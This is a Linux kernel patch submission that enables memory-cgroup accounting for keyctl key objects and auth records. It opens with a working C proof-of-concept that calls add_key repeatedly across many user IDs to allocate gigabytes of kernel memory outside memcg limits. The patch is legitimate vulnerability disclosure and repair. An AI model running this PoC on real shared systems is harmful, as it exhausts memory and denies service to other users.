[PATCH] memcg: enable accounting in keyctl subsys

[Yutian Yang <nglaive@xxxxxxxxx>]

This patch enables accounting for key objects and auth record objects.
Allocation of the objects are triggerable by syscalls from userspace.

We have written a PoC to show that the missing-charging objects lead to
breaking memcg limits. The PoC program takes around 2.2GB unaccounted
memory, while it is charged for only 24MB memory usage. We evaluate the
PoC on QEMU x86_64 v5.2.90 + Linux kernel v5.10.19 + Debian buster. All
the limitations including ulimits and sysctl variables are set as default.
Specifically, we set kernel.keys.maxbytes = 20000 and 
kernel.keys.maxkeys = 200.

/*------------------------- POC code ----------------------------*/

#include <asm/unistd.h>
#include <linux/keyctl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <time.h>

char desc[4000];
void alloc_key_user(int id) {
  int i = 0, times = -1;
  __s32 serial = 0;
  int err = seteuid(id);
  if (err == 0)
    printf("uid allocation success on id %d!\n", id);
  else {
    printf("err reason is %s.\n", strerror(errno));
    return;
  }
  srand(time(0));
  while (serial != -1) {
    ++times;
    for (i = 0; i < 3900; ++i)
      desc[i] = rand()%255 + 1;
    desc[i] = '\0';
    serial = syscall(__NR_add_key, "user", desc, "payload",
      strlen("payload"), KEY_SPEC_SESSION_KEYRING);
  }
  printf("allocation happened %d times.\n", times);
  seteuid(0);
}

int main() {
  int loop_times = 100000;
  int start_uid = 33001;
  for (int i = 0; i < loop_times; ++i) {
    alloc_key_user(i+start_uid);
  }
  while(1);
  return 0;
}

/*-------------------------- end --------------------------------*/

Signed-off-by: Yutian Yang <nglaive@xxxxxxxxx>
---
 security/keys/key.c              | 4 ++--
 security/keys/request_key_auth.c | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/security/keys/key.c b/security/keys/key.c
index e282c6179..925d85c2e 100644
--- a/security/keys/key.c
+++ b/security/keys/key.c
@@ -279,7 +279,7 @@ struct key *key_alloc(struct key_type *type, const char *desc,
 		goto no_memory_2;
 
 	key->index_key.desc_len = desclen;
-	key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL);
+	key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL_ACCOUNT);
 	if (!key->index_key.description)
 		goto no_memory_3;
 	key->index_key.type = type;
@@ -1198,7 +1198,7 @@ void __init key_init(void)
 {
 	/* allocate a slab in which we can store keys */
 	key_jar = kmem_cache_create("key_jar", sizeof(struct key),
-			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
+			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
 
 	/* add the special key types */
 	list_add_tail(&key_type_keyring.link, &key_types_list);
diff --git a/security/keys/request_key_auth.c b/security/keys/request_key_auth.c
index 41e973500..ed50a100a 100644
--- a/security/keys/request_key_auth.c
+++ b/security/keys/request_key_auth.c
@@ -171,10 +171,10 @@ struct key *request_key_auth_new(struct key *target, const char *op,
 	kenter("%d,", target->serial);
 
 	/* allocate a auth record */
-	rka = kzalloc(sizeof(*rka), GFP_KERNEL);
+	rka = kzalloc(sizeof(*rka), GFP_KERNEL_ACCOUNT);
 	if (!rka)
 		goto error;
-	rka->callout_info = kmemdup(callout_info, callout_len, GFP_KERNEL);
+	rka->callout_info = kmemdup(callout_info, callout_len, GFP_KERNEL_ACCOUNT);
 	if (!rka->callout_info)
 		goto error_free_rka;
 	rka->callout_len = callout_len;
-- 
2.25.1